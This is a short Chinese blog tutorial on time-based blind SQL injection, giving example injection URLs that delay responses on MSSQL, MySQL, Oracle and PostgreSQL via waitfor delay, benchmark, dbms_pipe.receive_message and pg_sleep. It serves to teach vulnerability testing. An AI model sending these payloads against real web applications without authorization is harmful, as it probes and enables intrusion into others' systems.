SQL盲注(2)

本文介绍了一种在SQL注入攻击中使用时间延迟技巧的方法,通过向数据库注入特定命令使服务器延时响应,以此验证Web应用是否存在漏洞。文章详细列举了在MSSQL、MySQL、OraclePL/SQL及PostgreSQL等不同数据库中实现时间延迟的具体操作。

时间延迟

测试SQL注入漏洞时,会发现某一潜在漏洞难以确定,主要原因是Web应用没有显示任何错误,因而无法检索任何数据。这种情况下,可以考虑向数据库注入时间延迟。MSSQL服务器有一条内置命令waitfor delay 'hours:minutes:seconds'

http://127.0.0.1/test.apsx?id=1;waitfor delay '0:0:5' -- 
该请求会使服务器延时5秒

MySQL中没有能直接延时的函数,但可以使用执行时间很长的函数来实现延迟,MySQL的benchmark函数就可以实现。

http://127.0.0.1/test/php?id=1;select benchmark(10000000,encode('hello','test'));--

在Oracle PL/SQL中,可以利用以下指令集来延迟5秒

begin
dbms_lock.sleep(5)
end;

但是,该函数的使用存在很多限制。1.不能直接将该函数注入到子查询中,因为Oracle不支持堆叠查询。2.只有数据库管理员才能使用dbms_lock包

在Oracle PL/SQL中还有另外一种方式

http://127.0.0.1/test.php?id=1 or 1=dbms_pipe.receive_message('RDS',10)

dbms_pipe.receive_message函数将为从RDS管道返回的数据等待10秒。默认情况下,允许public权限执行该包。dbms_lock.sleep与之相反,dbms_pipe。receive_message可以直接用到SQL语句中。

PostgreSQL数据库可以使用pg_sleep函数来实现延迟

http://127.0.0.1/test.php?id=1;select pg_sleep(10); --
dbms_pipe.receive_message

转载于:https://www.cnblogs.com/dubhe-/p/10040038.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值